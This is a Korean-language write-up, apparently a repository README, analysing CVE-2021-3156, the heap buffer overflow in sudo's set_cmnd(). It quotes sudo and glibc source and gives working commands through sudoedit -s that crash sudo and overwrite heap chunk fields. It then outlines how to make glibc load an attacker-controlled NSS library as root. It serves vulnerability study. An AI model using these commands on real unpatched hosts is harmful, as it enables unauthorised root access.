
# CVE-2021-3156 교육용 익스플로잇 구현 및 분석 sudo의 set_cmnd() 함수에서 발생하는 힙 기반 버퍼 오버플로우인 CVE-2021-3156에 대한 교육용 익스플로잇 구현 및 분석으로, 조작된 명령줄 인수를 통해 루트 권한으로의 권한 상승을 가능하게 합니다.
이 문서에서는 이 저장소의 코드를 이해하고 그것이 왜 동작하는지 이해하는 데 필요한 모든 지식을 담고 있습니다. 모든 설명은 QUALYS가 작성한 보고서를 기반으로 합니다. 해당 보고서에는 더 많은 형태의 익스플로잇이 설명되어 있습니다.
취약한 sudo 버전은 기본 구성에서 1.8.2부터 1.8.31p2까지의 레거시 버전과 1.9.0부터 1.9.5p1까지의 모든 안정 버전입니다.
이 저장소는 Ubuntu 20.04(sudo 1.8.31)에서 테스트되었습니다. 이 환경에서 루트 권한으로 터미널을 엽니다.
sudo가 셸 모드로 명령을 실행하기 위해 실행되면:
MODE_SHELL 플래그를 설정하는 -s 옵션을 통해서.MODE_SHELL 및 MODE_LOGIN_SHELL 플래그를 설정하는 -i 옵션을 통해서.그런 다음 sudo의 main() 시작 부분에서 parse_args()는 모든 명령줄 인수를 연결하고 모든 메타 문자를 백슬래시로 이스케이프하여 argv를 다시 작성합니다.
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
나중에 sudoers_policy_main()에서 set_cmnd()는 명령줄 인수를 힙 기반 버퍼 user_args에 연결하고 "sudoers 매칭 및 로깅 목적"으로 메타 문자를 언이스케이프합니다:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
명령줄 인수가 단일 백슬래시 문자로 끝나면:
from[0]은 백슬래시 문자이고 from[1]은 널 종결자입니다.from이 증가하여 널 종결자를 가리킵니다.user_args 버퍼로 복사되고 from이 다시 증가하여 범위를 벗어납니다.user_args 버퍼로 복사합니다.다시 말해, set_cmnd()는 힙 기반 버퍼 오버플로에 취약합니다. user_args 버퍼로 복사되는 범위를 벗어난 문자들이 버퍼 크기에 포함되지 않았기 때문입니다.
그러나 이론적으로는 어떤 명령줄 인수도 단일 백슬래시 문자로 끝날 수 없습니다. MODE_SHELL 또는 MODE_LOGIN_SHELL이 설정되면(취약한 코드에 도달하기 위한 필수 조건), MODE_SHELL이 설정되고 parse_args()가 이미 백슬래시를 포함한 모든 메타 문자를 이스케이프했기 때문입니다(즉, 모든 단일 백슬래시를 두 번째 백슬래시로 이스케이프했습니다).
그러나 실제로는 set_cmnd()의 취약한 코드와 parse_args()의 이스케이프 코드가 약간 다른 조건으로 둘러싸여 있습니다:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
반면:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
그렇다면 우리의 질문은 이것입니다: 취약한 코드에 도달하기 위해 MODE_SHELL과 MODE_EDIT 또는 MODE_CHECK 중 하나를 설정하면서, 이스케이프 코드를 피하기 위해 기본 MODE_RUN은 설정하지 않을 수 있을까요?
대답은, 아마도 아니요입니다. MODE_EDIT(-e 옵션) 또는 MODE_CHECK(-l 옵션)을 설정하면 parse_args()가 valid_flags에서 MODE_SHELL을 제거하고, MODE_SHELL과 같은 잘못된 플래그를 지정하면 오류와 함께 종료됩니다):
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
그러나 우리는 허점을 찾았습니다: sudo 대신 sudoedit으로 sudo를 실행하면 parse_args()가 자동으로 MODE_EDIT를 설정하지만 valid_flags를 재설정하지 않으며, 기본적으로 valid_flags에 MODE_SHELL이 포함됩니다:
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
결과적으로 "sudoedit -s"를 실행하면 MODE_EDIT와 MODE_SHELL이 모두 설정되고(MODE_RUN은 설정되지 않음), 이스케이프 코드를 피하면서 취약한 코드에 도달하여 단일 백슬래시 문자로 끝나는 명령줄 인수를 통해 힙 기반 버퍼 user_args를 오버플로할 수 있습니다:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
공격자의 관점에서 이 버퍼 오버플로는 이상적입니다:
user_args 버퍼의 크기를 제어합니다(연결된 명령줄 인수의 크기).user_args에 널 바이트를 씁니다).예를 들어, amd64 Linux에서 다음 명령은 24바이트 user_args 버퍼(32바이트 힙 청크)를 할당하고 다음 청크의 size 필드를 "A=a\0B=b\0"(0x00623d4200613d41)로, fd 필드를 "C=c\0D=d\0"(0x00643d4400633d43)로, bk 필드를 "E=e\0F=f\0"(0x00663d4600653d45)로 덮어씁니다:
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
크래시를 일으키는 함수는 glibc의 nss_load_library()(344번째 줄)이며, library 포인터가 덮어써졌기 때문입니다.
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
이 크래시를 익스플로잇하는 단계는 다음과 같습니다:
ni->library를 NULL로 덮어씁니다. 그러면 코드가 if 절에 진입하여 라이브러리 파싱 및 로딩을 시작합니다.ni->name을 "X/X"로 덮어씁니다. 이 값은 원래 "systemd"를 담고 있습니다.__strcpy 줄들은 "libnss_systemd.so.2" 대신 "libnss_X/X.so.2"를 파싱합니다."libnss_X/X.so.2"를 로딩하게 됩니다. 그 안에서 루트로서 원하는 모든 작업을 수행할 수 있습니다.